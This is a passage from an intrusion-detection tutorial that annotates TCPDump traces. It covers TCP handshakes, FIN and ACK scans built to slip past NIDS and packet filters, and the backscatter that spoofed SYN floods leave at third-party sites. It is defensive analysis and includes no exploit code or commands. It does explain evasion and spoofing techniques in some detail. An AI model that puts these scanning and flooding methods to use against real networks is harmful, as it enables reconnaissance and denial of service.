studying in other traces. You may see traffic scattered across several NIDS
with little in common but the window sizes, maximum segments sizes, or other
options. While certainly not indicative individually, taken collectively
such clues might help correlate related events. (Although no data is
passed in this packet, we will encounter a trace which attempts to send
64 bytes of data to another host. While unusual, it is not illegal per
the TCP RFCs, and makes an excellent signature identifying element!)
2. 14:05:27.250587 ftp.server.edu.21 > ftp.client.org.1057:
S 3037133697:3037133697(0) ack 1484415 win 9112 <mss 536> (DF)
The second packet is the ftp servers response, setting its own initial
sequence number (actually an "initial response number") as 3037133697. The
ftp server acknowledges our clients ISN by setting its "ack" flag and
associating it with 1484415, which is the next sequence number it expects
from the client, or essentially ISN + 1. The first byte of data sent by the
client will be number 1484415. Notice we have used one sequence number
already, 1484414, without sending any data. This "waste" of a sequence
number will not be repeated, as all other sequence numbers will be used to
indicate specific bytes sent during the TCP exchange.
Observe the different window and maximum segment sizes for the
ftp server (i.e., 9112 bytes and 536 bytes, respectively), compared to the
client system. While innocent here, they might help identify a scan or tool
signature, since many packet-forging scripts will set these values manually.
Notice that since the MSS option occupies four bytes by itself, no "nop" byte
padders are needed.
3. 14:05:27.259810 ftp.client.org.1057 > ftp.server.edu.21:
. ack 1 win 8576 (DF)
The third packet concludes the TCP three-way handshake with an
acknowledgment by the client of the ftp servers initial response number.
Note that this trace does not employ the TCPDumps -S option, which outputs
absolute sequence numbers for each packet. These traces use relative sequence
numbers, which make it easier to track the number of bytes passed. For
example, packet three shows an "ack 1", with the 1 being the difference
between the clients initial sequence number and the sequence number of packet
three. In other words, the -S option would have printed 3037133698 here.
Remember, the purpose of an ACK is to help track bytes exchanged. By ACKing
3037133698, (or 1 in relative terms), the client is telling the server "I
expect the first byte you send me to be number 3037133698 (or 1 in relative
terms.) The "." means no flags are set.
(If the sequence number issue still puzzles you, the appendix includes a
trace where absolute sequence numbers were used.)
4. 14:05:27.402888 ftp.server.edu.47309 > ftp.client.org.113:
S 3037242401:3037242401(0) win 8760 <mss 1460> (DF)
5. 14:05:27.412512 ftp.client.org.113 > ftp.server.edu.47309:
R 0:0(0) ack 3037242402 win 0
Packets four and five present an opportunity to discuss closed ports.
The ftp server is attempt to use port 40739 connect to the client machines
port 113 (auth), for authentication purposes. Since the clients port 113
is closed, it responds with a reset "R", and acknowledges the servers
sequence number 3037242401 by adding one to it, to make 3037242402. The
server does not respond, since there is no need per the RFC. (A RST
should never be ACKed.)
Data exchange follows with packets six and higher. I have deleted
packets eight through fourteen, because they do not add anything new to our
discussion.
15. 14:05:35.774099 ftp.client.org.1057 > ftp.server.edu.21:
P 31:37(6) ack 183 win 8394 (DF)
16. 14:05:35.895233 ftp.server.edu.21 > ftp.client.org.1057:
P 183:197(14) ack 37 win 9112 (DF) [tos 0x10]
Packets fifteen and sixteen are later stages of data transfer. Note
the "P", or "push" flag. This tells the ftp server to "push" its queue of
packets stored in the TCP/IP stack directly to the application above. The
push from the ftp server to the ftp client in packet sixteen tells the ftp
client to push its queue of packets up its stack, to the client application.
The information "pushed" consists of all data in the segment containing the
push flag, plus any data stored in the receiving TCP buffer. The presence
of this flag is normal for an interactive session, such as a ftp connection.
It may represent a command sent by the client; as the client usually waits
for the servers response, it is logical for the client to request rapid
processing of all data stored in the servers TCP buffer.
Although not seen in this paper, one may encounter the URG or
"urgent" flag in other traces. This flag tells the receiving TCP stack
that "urgent" data is present, and leaves the receiver to interpret it as
it wishes. The telnet and rlogin applications typically use this flag to
signal transmission of the interrupt key, while ftp uses urgent to signal
aborting file transfer.
Packet sixteen conclude with the IP option "type of service," shown
as [tos 0x10]. This particular value means "minimize delay." Other
possible values are maximize throughput, maximize reliability, and minimize
monetary cost, all of which are beyond the scope of this paper.
Turning back to data flow, packet fifteen shows the ftp client
sending 6 bytes of data, with a relative sequence number showing 36 total
bytes sent during the entire TCP conversation. The next set of bytes sent
to the server will begin with number 37. Here we see this format at work:
sequence number of first byte in packet:sequence number of first
byte in NEXT packet (data)
In packet 15 the client sent bytes 31, 32, 33, 34, 35, and 36, and
will send 37 next. By ACKing 183, the ftp client acknowledges receipt of
182 bytes from the server, and says it expects the next data from the server
to begin with byte 183.
Packet sixteen shows the ftp server sending 14 bytes and acknowledging
receipt of 36 bytes from the client, while expecting byte 37 next.
17. 14:05:35.903492 ftp.server.edu.21 > ftp.client.org.1057:
F 197:197(0) ack 37 win 9112 (DF) [tos 0x10]
18. 14:05:35.906748 ftp.client.org.1057 > ftp.server.edu.21:
. ack 198 win 8380 (DF)
19. 14:05:35.917049 ftp.client.org.1057 > ftp.server.edu.21:
F 37:37(0) ack 198 win 8380 (DF)
20. ?
Packet seventeen begins the process of closing the connection in
a graceful manner, and introduces another TCP header flag. (Richard Stevens
calls this "orderly release." In contrast, "abortive release" is the abrupt
termination of a TCP connection, as caused by a host shutting down or loss
of connectivity.) The server sends a packet with the F or "FIN" flag sent,
indicating it has no more data to send to the client. The server also
acknowledges the last byte sent by the client (37-1=36), and shows it has
sent all bytes needed with the 37:37 (0) value.
Packet eighteen demonstrates that the session does not close
gracefully until both sides agree. Here, the client acknowledges the
servers FIN request. The client then sends its own FIN. According to
Richard Stevens, we should see one last packet (number 20) from the server
to the client, where the server acknowledges the clients FIN. We do not
see that packet in this trace, which can remind us that some events do not
correspond exactly to the logical models which we follow. I imagine that
the packet was lost, or that the TCPDump ended abruptly.
Many of the traces in this paper and most scanning activity does not
observe this graceful close process, and instead uses resets from the source
host. This process is demonstrated below.
1. 11:48:02.545940 dialup.modem.net.1092 > 206.61.52.32.119:
S 436537:436537(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
2. 11:48:02.774748 host.news.org.119 > dialup.modem.net.1092:
S 4231438324:4231438324(0) ack 436538 win 0
3. 11:48:02.784542 dialup.modem.net.1092 > host.news.org.119:
. ack 1 win 8576 (DF)
4. 11:48:02.952477 host.news.org.119 > dialup.modem.net.1092:
R 1:1(0) ack 1 win 0
Lines one to three are the standard three-way handshake associated with
normal TCP connections. Line four, however shows the R or RST (reset) flag.
This is a request by host.news.org to immediately reset the connection
between itself and dialup.modem.net. No acknowledgement by dialup.modem.net
occurs and none is required by the RFCs. Resets will be seen in upcoming
traces quite often.
[ Let the Tracing Begin! ]
Lets start looking at malicious network activity by examining a scan
which obeys TCPs three-way handshake -- the plain TCP connect () scan. This
scan type is old but will provide a baseline for some of the later traces.
Any intrusion detection system should log this activity. (Whether the
analyst reacts to it may be another matter!)
11:56:20.442740 connect.scanner.net.1141 > victim.cablemodem.com.21:
S 929641:929641(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
11:56:21.191786 victim.cablemodem.com.21 > connect.scanner.net.1141:
S 779881634:779881634(0) ack 929642 win 8576 <mss 1460> (DF)
11:56:21.201490 connect.scanner.net.1141 > victim.cablemodem.com.21:
. ack 1 win 8576 (DF)
11:56:23.954930 connect.scanner.net.1144 > victim.cablemodem.com.37:
S 932103:932103(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
11:56:24.647238 victim.cablemodem.com.37 > connect.scanner.net.1144:
R 0:0(0) ack 1 win 0
The first trace shows a successful three-way handshake between
the scanning host and the unsuspecting victim; this means port 21 (ftp)
is open. The second trace shows the scanners SYN being met by a
reset, meaning port 37 (time) is closed on the victims machine.
Contrast that activity with the traces below.
10:22:45.030552 half.scanner.net.49724 > victim.cablemodem.com.21:
S 2421827136:2421827136(0)
10:22:45.030552 victim.cablemodem.com.21 > half.scanner.net.49724:
S 4046313668:4046313668(0) ack 2421827137
10:22:45.030552 half.scanner.net.49724 > victim.cablemodem.com.21:
R 2421827137:2421827137(0)
10:22:45.050552 half.scanner.net.49724 > victim.cablemodem.com.37:
S 2418821749:2418821749(0)
10:22:45.050552 victim.cablemodem.com.37 > half.scanner.net.49724:
R 0:0(0) ack 2418821750
This is a TCP SYN, or "half connect ()" scan. The scanner sends
a reset to any port reported as open by the victim, rather than continue
with the three-way handshake. The original purpose of this scan was to
evade a NIDS which only logged connections completing the three-way
handshake, like the TCP connect () scan. All newer NIDS should catch
this activity.
In an effort to evade newer NIDS, some scanner programmers have tried
other tactics. Consider this trace:
21:00:04.099626 snap 0:0:0:8:0 scanner.net.53 > host152.victim.org.21:
F 0:0(0) win 4096 (ttl 58, id 63232)
21:00:45.049644 snap 0:0:0:8:0 scanner.net.53 > host2.victim.org.21:
F 0:0(0) win 3072 (ttl 49, id 38965)
21:00:51.064263 snap 0:0:0:8:0 scanner.net.53 > host2.victim.org.21:
F 0:0(0) win 3072 (ttl 49, id 48301)
21:03:59.711106 snap 0:0:0:8:0 scanner.net.53 > host201.victim.org.21:
F 0:0(0) win 2048 (ttl 48, id 55097)
21:04:05.738307 snap 0:0:0:8:0 scanner.net.53 > host201.victim.org.21:
F 0:0(0) win 2048 (ttl 48, id 50715)
21:05:10.399065 snap 0:0:0:8:0 scanner.net.53 > host202.victim.org.21:
F 0:0(0) win 3072 (ttl 49, id 32642)
21:05:16.429001 snap 0:0:0:8:0 scanner.net.53 > host202.victim.org.21:
F 0:0(0) win 3072 (ttl 49, id 31501)
21:06:03.724675 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21:
F 0:0(0) win 4096 (ttl 54, id 340)
21:09:12.202997 snap 0:0:0:8:0 scanner.net.53 > host24.victim.org.21:
F 0:0(0) win 2048 (ttl 52, id 47689)
21:09:18.215642 snap 0:0:0:8:0 scanner.net.53 > host24.victim.org.21:
F 0:0(0) win 2048 (ttl 52, id 26723)
21:10:22.664153 snap 0:0:0:8:0 scanner.net.53 > host3.victim.org.21:
F 0:0(0) win 3072 (ttl 53, id 24838)
21:10:28.691982 snap 0:0:0:8:0 scanner.net.53 > host3.victim.org.21:
F 0:0(0) win 3072 (ttl 53, id 25257)
21:11:10.213615 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21:
F 0:0(0) win 4096 (ttl 58, id 61907)
21:11:10.227485 snap 0:0:0:8:0 host102.victim.org.21 > scanner.net.53:
R 0:0(0) ack 4294947297 win 0 (ttl 25, id 38400)
21:14:24.649413 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21:
F 0:0(0) win 3072 (ttl 57, id 57333)
21:14:30.680740 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21:
F 0:0(0) win 3072 (ttl 57, id 30463)
21:15:34.924834 snap 0:0:0:8:0 scanner.net.53 > host53.victim.org.21:
F 0:0(0) win 3072 (ttl 57, id 60600)
21:15:40.946466 snap 0:0:0:8:0 scanner.net.53 > host53.victim.org.21:
F 0:0(0) win 3072 (ttl 57, id 47454)
21:16:10.506971 snap 0:0:0:8:0 scanner.net.53 > host152.victim.org.21:
F 0:0(0) win 1024 (ttl 51, id 59265)
21:19:37.124542 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21:
F 0:0(0) win 1024 (ttl 47, id 43025)
21:19:43.127165 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21:
F 0:0(0) win 1024 (ttl 47, id 24937)
First, note this trace was produced using TCPDumps verbose option,
where "snap 0:0:0:8:0" refers to the subnetwork access protocol. SNAP is a
method of differentiating between non-OSI network layer protocols. "0:0:0"
represents a three-byte organizational unit identifier, which for TCP/IP is
0x0. "8:0" represents a two-byte Ethertype, which for Ethernet is 0x800.
(Looking at the SNAP byte-by-byte, we have the OUI as 0x0 : 0x0 : 0x0, with
the Ethertype being 0x08 : 0x0.)
Lets look at this activity systematically, beginning with IPs:
- IPs: We see traffic from scanner.net to multiple hosts on the victim.org
domain. scanner.net seems to be walking up the subnet. Generally, each
IP on the subnet is probed twice.
- Ports: The originating IP sends packets from port 53 (dns) to port 21 (ftp)
on each system. Activity to TCP port 53 can usually be associated with
DNS zone transfers or other resolution processes. (For example, responses to
DNS queries via UDP cannot exceed 512 bytes. If the response is more than
512 bytes, a connection via TCP must be established. Therefore, legitimate
DNS information exchange can occur over TCP channels.) The ftp port would be
an attractive target, especially if the scanner is looking for an ftp server
with anonymous logins.
- Flags: Most of the packets have the FIN flag set. This is not normal
behavior. Unlike some of the activity we will discuss below, we cannot
envision a network event which would generate these packets as an appropriate
response. Therefore, they must have been specially crafted.
- Traffic direction/activity: Every packet save one is a FIN sent from
scanner.net to a target host. The only difference is the R ACK reply by
host102.victim.org. This indicates port 21 is open on this host. The lack of a
reply by any other host shows their ftp ports are closed.
- Time: This is not an especially fast scan, since only 21 packets were sent
during a 19 second span. Nevertheless, this is undoubtedly an automated
event.
- Window size, TTL, and other features: Several other characteristics
deserve attention. Window size values are 1024, 2048, 3072, and 4096 bytes for
various packets. TTLs vary from 47 to 58, which is a wide margin. The IP
ID numbers also vary, without apparent regularity. While it is difficult to
discern patterns in this case, other traces may yield more recognizable
results. (Thank you to Judy Novak for pointing out these features.)
- Bottom line: This event was a FIN scan, designed to evade some NIDS, which
found an open ftp port at host102.victim.org. I recommend considering these
factors when making judgments about any network event you investigate.
Consider this traffic:
22:08:33.913622 cable.modem.net.23 > dns.one.org.23:
. ack 499410217 win 1028 (ttl 30, id 39426)
22:08:33.915481 dns.one.org.23 > cable.modem.net.23:
R 499410217:499410217(0) win 0 (ttl 254, id 34512)
22:08:33.954076 cable.modem.net.23 > dns.two.org.23:
. ack 499410217 win 1028 (ttl 0, id 39426)
22:08:33.955461 dns.two.org.23 > cable.modem.net.23:
R 499410217:499410217(0) win 0 (ttl 254, id 5962)
22:08:33.982753 cable.modem.net.143 > dns.one.org.143:
. ack 499410217 win 1028 (ttl 30, id 39426)
22:08:33.983904 dns.one.org.143 > cable.modem.net.143:
R 499410217:499410217(0) win 0 (ttl 254, id 34514)
22:08:34.061121 cable.modem.net.143 > dns.two.org.143:
. ack 499410217 win 1028 (ttl 30, id 39426)
22:08:34.064069 dns.two.org.143 > cable.modem.net.143:
R 499410217:499410217(0) win 0 (ttl 254, id 5967)
22:08:39.161874 cable.modem.net.1146 > dns.two.org.23:
S 2585837477:2585837477(0) win 16324 <mss 1484,sackOK,timestamp
50637 0,nop,wscale 0> (DF) (ttl 52, id 770)
22:08:39.170887 cable.modem.net.1147 > dns.two.org.143:
S 2585589580:2585589580(0) win 16324 <mss 1484,sackOK,timestamp
50637 0,nop,wscale 0> (DF) (ttl 52, id 771)
22:08:39.182221 cable.modem.net.1149 > dns.two.org.111:
S 2583756762:2583756762(0) win 16324 <mss 1484,sackOK,timestamp
50637 0,nop,wscale 0> (DF) (ttl 52, id 773)
22:08:39.183010 cable.modem.net.1151 > dns.two.org.79:
S 2588862233:2588862233(0) win 16324 <mss 1484,sackOK,timestamp
50637 0,nop,wscale 0> (DF) (ttl 52, id 775)
22:08:39.190551 cable.modem.net.1152 > dns.two.org.53:
S 2590571910:2590571910(0) win 16324 <mss 1484,sackOK,timestamp
50637 0,nop,wscale 0> (DF) (ttl 52, id 776)
22:08:39.212060 cable.modem.net.1153 > dns.two.org.31337:
S 2585840391:2585840391(0) win 16324 <mss 1484,sackOK,timestamp
50637 0,nop,wscale 0> (DF) (ttl 52, id 777)
22:08:39.224956 cable.modem.net.1157 > dns.two.org.21:
S 2585906418:2585906418(0) win 16324 <mss 1484,sackOK,timestamp
50637 0,nop,wscale 0> (DF) (ttl 52, id 781)
22:08:39.261488 cable.modem.net.1162 > dns.one.org.23:
S 2589761527:2589761527(0) win 16324 <mss 1484,sackOK,timestamp
50638 0,nop,wscale 0> (DF) (ttl 52, id 786)
22:08:39.264445 cable.modem.net.1163 > dns.one.org.143:
S 2588328359:2588328359(0) win 16324 <mss 1484,sackOK,timestamp
50638 0,nop,wscale 0> (DF) (ttl 52, id 787)
22:08:39.292663 cable.modem.net.1165 > dns.one.org.111:
S 2590160130:2590160130(0) win 16324 <mss 1484,sackOK,timestamp
50638 0,nop,wscale 0> (DF) (ttl 52, id 789)
22:08:39.305784 cable.modem.net.1167 > dns.one.org.79:
S 2594918730:2594918730(0) win 16324 <mss 1484,sackOK,timestamp
50638 0,nop,wscale 0> (DF) (ttl 52, id 791)
22:08:39.307131 cable.modem.net.1168 > dns.one.org.53:
S 2582494230:2582494230(0) win 16324 <mss 1484,sackOK,timestamp
50638 0,nop,wscale 0> (DF) (ttl 52, id 792)
22:08:39.307209 cable.modem.net.1169 > dns.one.org.31337:
S 2590958670:2590958670(0) win 16324 <mss 1484,sackOK,timestamp
50638 0,nop,wscale 0> (DF) (ttl 52, id 793)
22:08:39.344336 cable.modem.net.1173 > dns.one.org.21:
S 2593455289:2593455289(0) win 16324 <mss 1484,sackOK,timestamp
50638 0,nop,wscale 0> (DF) (ttl 52, id 797)
Again, systematically:
- IPs: cable.modem.net is concentrating on two hosts we monitor: dns.one.org
and dns.two.org. Although not shown, each host is hit with the second set
of SYN packets three total times.
- Ports: The first half of the activity targets tcp ports 23 (telnet)
and 143 (imap). The second half involves those ports plus 111 (SUN Remote
Procedure Call, or portmapper), 79 (finger), 53 (dns), 31337 (Back Orifice
tcp port), and 21 (ftp). All are of use to a potential intruder. Of more
interest, perhaps, are the source ports involved. Note the stealthy nature
of the first stage, where source port is set to destination port, in an
attempt to confuse packet-filtering devices. The second stage is less
cunning, but more analyst-friendly. Observe the orderly incrementation of
ports used to contact dns.two.org, starting with 1146, then 1147, then 1149.
Where is 1148? Most likely this packet was destined for a port not
monitored by our NIDS. It was probably not lost, as the traffic to
dns.two.org shows. Here, we see source port 1162, then 1163, then 1165
(another port missing!) Using this "gap-counting" technique, we can
assume packets were sent to at least four ports not watched by our NIDS.
This does not count the four "missing" ports between port 781 and 786,
where attention shifts from dns.two.org to dns.one.org!
- Flags: The first half of the event involves no flags set, with RST ACK
packets sent back from the targets. These initial packets do not occur
naturally unless a preceeded by the SYN / SYN ACK exchange of the three
way handshake. The RST ACK packets are assumed to be returned from
closed ports, as an op
en port would usually remain silent. (This is the
default for the Linux TCP/IP stack, as documented by Vicki Irwin and Hal
Pomeranz. Your mileage may vary.) Interestingly, the second half of the
event shows only SYN packets sent, with zero replies. This may indicate
the cablem.modem.nets initial packets, with the ACK bit set,
successfully evaded a packet filtering device. This device, however,
probably intercepted the later packets with the SYN bit set.
- Traffic direction/activity: All traffic seems to involve a prompt by
cable.modem.net, followed by an indication that the target ports are
closed.
- Time: The entire event elapses in six seconds, with an apparent five
second delay between the ACK and SYN stages.
- Window size, TTL, and other features: We see a wide variance between the
TTL 30 of stage one and TTL 52 of stage two. As these packets presumably
come from the same host, we assume the tool generate the packets sets
initially TTLs differently for each technique. Stage one shows IP id
values each forged to be 39426. This may provide a signature clue for
future encounters with this tool. The IP id values increment nicely in
stage two, matching the TCP port technique mentioned earlier. Window
sizes for stage one (1028) contrast strongly with stage two (16324).
- Bottom line: We appear to have an ACK scan combined with some sort of SYN
scan. The packet filtering device which allows ACK packets but prevents
answers to the SYN packets keeps us from knowing more about stage two. This
case emphasizes the need to understand the operation of your IDS, as it
helped us to recognize the port "gaps" and their possible relevance to our
investigation.
[ To Flood or Not to Flood ]
Now we turn to a core issue of this paper -- the SYN flood. Anyone
unfamiliar with SYN floods would greatly benefit by reading Routes definitive
work on the subject in Phrack 48. Essentially, a SYN flood is a denial of
service attempt, where an attacker attempts to fill the backlog queue of a
victim machines TCP server. To prevent the victim from tearing down these
memory-consuming connections, the attacker spoofs a source IP, choosing one
which presumably does not exist. The victim of a properly executed SYN flood
cannot reply to the spoofed source. An attacker might take these actions to
attempt a TCP hijack, as Kevin Mitnick did against the login port of a
machine owned by Tsutomu Shimomura. By shutting down the TCP service of a
host trusted by Shimomura, Mitnick was able to impersonate that host without
it interfering in his communications with Shimomuras box.
A SYN flood consists of dozens of SYN packets sent from a spoofed source
IP, or multiple spoofed source IPs, to a victim. Note the high frequency of
packets sent:
11:46:14.212003 spoofed.ip.one.1053 > flood.victim.com.23:
S 322286:322286(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
11:46:14.598008 spoofed.ip.one.1054 > flood.victim.com.23:
S 322286:322286(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
11:46:14.975522 spoofed.ip.one.1055 > flood.victim.com.23:
S 322286:322286(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
etc...
The desperate victim tries to reply to the spoofed source IP. If the
spoofed host truly does not exist, the victim is out of luck. But what if the
spoofed source does exist? Below is what an intrusion detection analyst at a
site owning the spoofed IP might see, if the target port is open and behaves
as traditionally expected:
11:46:14.765043 flood.victim.com.23 > spoofed.ip.one.1053:
S 4137483508:4137483508(0) ack 322287 win 8192 <mss 1460>
11:46:14.891108 flood.victim.com.23 > spoofed.ip.one.1054:
S 4164828806:4164828806(0) ack 322287 win 8192 <mss 1460>
11:46:15.019029 flood.victim.com.23 > spoofed.ip.one.1055:
S 4192020032:4192020032(0) ack 322287 win 8192 <mss 1460>
etc...
Why would an you, an innocent bystander, witness such an act?
The answer is: you own spoofed.ip.one, which may or may not exist! Why
would anyone spoof your IPs? (Hint: do your routers or firewalls block ICMP?)
In most cases, SYN flood utilities allow the attacker to select a range of
IPs for the spoofed source, or it will generate its own list. The utility
will ping that range, trying to determine if any hosts exist. If no ICMP echo
replies are heard, the SYN flood program assumes the IPs do not exist and are
ideal spoofed sources. However, if those IPs belong to hosts behind a router
or firewall denying ICMP, they will not respond to the ICMP echo request. This
"flaw" in choosing good IPs to spoof cause much of the so-called "third party"
traffic in this paper. Essentially, the site you monitor may become a third
party to a SYN flood, by virtue of having blocked ICMP.
The preceeding example appears straightforward. A single IP is spoofed,
and the sender increments his source ports in an orderly manner (1053,
1054, 1055). The trace as seen by the innocent bystander shows the flood
victims open port 23 replying with SYN ACK packets, in an attempt to establish
a TCP three-way handshake. What happens if the target port of a SYN flood is
closed? The following was confirmed as a SYN flood by the author, who observed
the traffic, contacted victim.isp.net, and learned the ISP was indeed SYN
flooded on the date and time in question.
20:31:15.794717 victim.isp.net.68 > spoofed.ip.one.29470:
R 0:0(0) ack 723645348 win 0 (ttl 242, id 40923)
20:31:20.190800 victim.isp.net.68 > spoofed.ip.one.48926:
R 0:0(0) ack 960212644 win 0 (ttl 242, id 56829)
20:31:24.622496 victim.isp.net.68 > spoofed.ip.one.2846:
R 0:0(0) ack 1196779940 win 0 (ttl 242, id 7276)
20:31:37.634797 victim.isp.net.68 > spoofed.ip.one.61214:
R 0:0(0) ack 1906481828 win 0 (ttl 242, id 54177)
20:31:42.021607 victim.isp.net.68 > spoofed.ip.one.15134:
R 0:0(0) ack 2143049124 win 0 (ttl 242, id 4485)
20:31:17.754903 victim.isp.net.77 > spoofed.ip.two.44376:
R 0:0(0) ack 1861342051 win 0 (ttl 242, id 25377)
20:31:22.054453 victim.isp.net.77 > spoofed.ip.two.13400:
R 0:0(0) ack 454770019 win 0 (ttl 242, id 40905)
20:31:26.394198 victim.isp.net.77 > spoofed.ip.two.47960:
R 0:0(0) ack 1195681635 win 0 (ttl 242, id 56409)
20:31:39.370211 victim.isp.net.77 > spoofed.ip.two.20568:
R 0:0(0) ack 1270932835 win 0 (ttl 242, id 38330)
20:31:43.735814 victim.isp.net.77 > spoofed.ip.two.55128:
R 0:0(0) ack 2011844451 win 0 (ttl 242, id 54069)
Here we see a SYN flood directed against two closed ports, 68 (boot-p)
and 77 (RJE private service). (Although many other ports were targetted,
these two are shown as examples. Since spoofed.ip.one and
spoofed.ip.two occupied separate class C networks, I chose to separate the
two traces.) Observe the two closed ports return RST ACK packets to the
spoofed source IPs. The ACK numbers appear random, as do the ports of the
two spoofed IPs. Furthermore, a fairly high packet rate is seen. This
may not always be true from the vantage point of the intrusion detection
analyst. If the SYN flood tool does not spoof IPs which are all monitored
by your IDS, you may not get a complete picture of the event. (And, from
the perspective of the victim, more than one organization appears to be
the originator of the attack!) For example:
05:23:07.968535 victim.isp.net.22 > spoofed.ip.one.10180:
R 0:0(0) ack 1 win 0 (ttl 53, id 57295)
05:23:55.594577 victim.isp.net.23 > spoofed.ip.two.64876:
R 0:0(0) ack 1 win 0 (ttl 53, id 62163)
05:27:36.116580 victim.isp.net.23 > spoofed.ip.three.48279:
R 0:0(0) ack 1 win 0 ttl 53, id 18796)
05:32:34.963053 victim.isp.net.23 > spoofed.ip.four.55483:
R 0:0(0) ack 1 win 0 (ttl 53, id 48851)
05:33:01.308930 victim.isp.net.23 > spoofed.ip.five.48412:
R 0:0(0) ack 1 win 0 (ttl 53, id 51512)
05:35:12.400935 victim.isp.net.22 > spoofed.ip.six.57306:
R 0:0(0) ack 1 win 0 (ttl 53, id 64704)
05:36:40.823582 victim.isp.net.22 > spoofed.ip.seven.46819:
R 0:0(0) ack 1 win 0 (ttl 53, id 8090)
05:38:50.740540 victim.isp.net.23 > spoofed.ip.eight.29217:
R 0:0(0) ack 1 win 0 (ttl 53, id 21089)
This trace shows several seconds elapsing between each packet as a
malicious Internet user spoofs our IPs, SYN flooding ports 22 (ssh) and 23
(telnet) at victim.isp.net. Given the time delay, it is reasonable to assume
the attacker is also spoofing IPs not monitored by our IDS, and could be
truly pounding the victim.
[ ACK 674711610 and 674719802: The Mystery Tool? ]
The following cases involve specific signatures which many of you may
recognize. Steven Northcutt notes two acknowledgement numbers which he
believes characterize a tool which conducts "reset scans." (For my take on the
subject, see "To See or Not to See" below.) Here I outline two confirmed cases
showing the 674711610 and 674719802 acknowledgement numbers as third party
effects of SYN floods.
Observe the following trace:
06:20:51.570058 firstclass.server.edu.510 > spoofed.ip.one.7002:
R 0:0(0) ack 674711610 win 0 (ttl 116, id 48680)
23:30:53.567215 firstclass.server.edu.510 > spoofed.ip.two.32771:
R 0:0(0) ack 674711610 win 0 (ttl 117, id 25440)
13:55:27.737433 firstclass.server.edu.510 > spoofed.ip.three.6666:
R 0:0(0) ack 674711610 win 0 (ttl 118, id 54468)
This trace seemed to conform to the model of a third party effect
of a SYN flood. However, there is an extreme delay in the time between packets.
This could be the result of a wide variety of spoofed sources, and I saw only a
few. I guessed firstclass.server.edu to be a target host. These packets looked
like responses, where port 510 was closed, or at least some mechanism was in
place to resist a SYN flood. These three packets are a sample of the total
traffic collected.
Researching port 510, I found it is the "firstclass" service,
registered by SoftArc. SoftArc sells a product called the FirstClass Intranet
Server, which can provide email, collaboration, and other services. The source
IP belonged to a university, and the hostname resolution included the word
"firstclass." It seemed that if a malicious Internet user wanted to perform
a denial of service against this university, it might make sense to target
port 510 (firstclass) on the schools FirstClass server. Given the presence
of RST ACK packets from port 510 to multiple IPs, it seemed the schools
system was resisting my theorized SYN flood, perhaps by closure of port 510.
I contacted the school and confirmed their FirstClass server had
been under a denial of service attack at the time and date noted in the
packets sent to my hosts. The attacker was SYN flooding ports 68 (boot-p)
and 510 (firstclass). The firstclass.server.edu system was not compromised
and it was not originating the packets sent to my hosts. It was an innocent
victim. The ACK 674711610 was generated by the tool used to SYN flood the
hapless host. (To be precise, the packets sent by the tool sent packets with
initial sequence numbers of 674711609, to which firstclass.server.edu replied
with RST ACK 674711610.)
While I specifically confirmed this case as being the third party
effect of a SYN flood against an innocent victim, I have found dozens of
similar traffic involving ACK 674711610. Here are two cases: the first with
the SYN flooded ports open (6666 and 6667), replying SYN ACK; the second with
the SYN flooded ports closed (23), replying RST ACK.
SYN flooded port open:
05:41:36.772836 major.irc.host.6666 > spoofed.ip.one.1578:
S 1822395560:1822395560(0) ack 674711610 win 4096 <mss 1460> (DF)
05:41:53.834459 major.irc.host.6666 > spoofed.ip.two.1578:
S 311457256:311457256(0) ack 674711610 win 4096 <mss 1460> (DF)
05:42:00.765914 major.irc.host.6667 > spoofed.ip.three.1433:
S 1074583123:1074583123(0) ack 674711610 win 61440 <mss 1460> (DF)
05:42:08.955560 major.irc.host.6666 > spoofed.ip.four.1433:
S 2056091293:2056091293(0) ack 674711610 win 4096 <mss 1460> (DF)
05:43:08.425388 major.irc.host.6666 > spoofed.ip.two.1578:
S 311457256:311457256(0) ack 674711610 win 4096 <mss 1460> (DF)
05:43:09.175868 major.irc.host.6666 > spoofed.ip.one.1578:
S 1822395560:1822395560(0) ack 674711610 win 4096 <mss 1460> (DF)
05:43:09.816458 major.irc.host.6666 > spoofed.ip.four.1433:
S 2056091293:2056091293(0) ack 674711610 win 4096 <mss 1460> (DF)
05:43:10.558625 major.irc.host.6667 > spoofed.ip.three.1433:
S 1074583123:1074583123(0) ack 674711610 win 61440 <mss 1460> (DF)
SYN flooded port closed:
12:52:10.879563 auction.this.com.23 > spoofed.ip.one.1985:
R 0:0(0) ack 674711610 win 0
12:54:37.882708 auction.this.com.23 > spoofed.ip.one.1554:
R 0:0(0) ack 674711610 win 0
12:55:38.961649 auction.this.com.23 > spoofed.ip.one.1409:
R 0:0(0) ack 674711610 win 0
Again, note the time delay between packets. This indicates not all the
IPs spoofed by the attacker belonged to our monitored network.
The next trace prompted a similar investigation:
10:20:52.097570 commercial.web.server.21 > spoofed.ip.one.1485:
R 0:0(0) ack 674719802 win 0 (ttl 50, id 1034)
10:22:28.994103 commercial.web.server.23 > spoofed.ip.one.1485:
R 0:0(0) ack 674719802 win 0 (ttl 50, id 38438)
10:25:43.004888 commercial.web.server.53 > spoofed.ip.one.1485:
R 0:0(0) ack 674719802 win (ttl 50, id 43626)
10:20:40.594667 commercial.web.server.21 > spoofed.ip.two.2104:
R 0:0(0) ack 674719802 win 0 (ttl 45, id 14598)
10:22:17.576229 commercial.web.server.23 > spoofed.ip.two.2104:
R 0:0(0) ack 674719802 win 0 (ttl 45, id 11298)
10:25:31.402693 commercial.web.server.53 > spoofed.ip.two.2104:
R 0:0(0) ack 674719802 0 (ttl 45, id 33894)
10:20:31.126616 commercial.web.server.21 > spoofed.ip.three.1667:
R 0:0(0) ack 674719802 win 0 (ttl 44, id 35589)
10:22:08.074117 commercial.web.server.23 > spoofed.ip.three.1667:
R 0:0(0) ack 674719802 win 0 (ttl 44, id 20256)
10:25:22.038942 commercial.web.server.53 > spoofed.ip.three.1667:
R 0:0(0) ack 674719802 win 0 (ttl 44, id 14437)
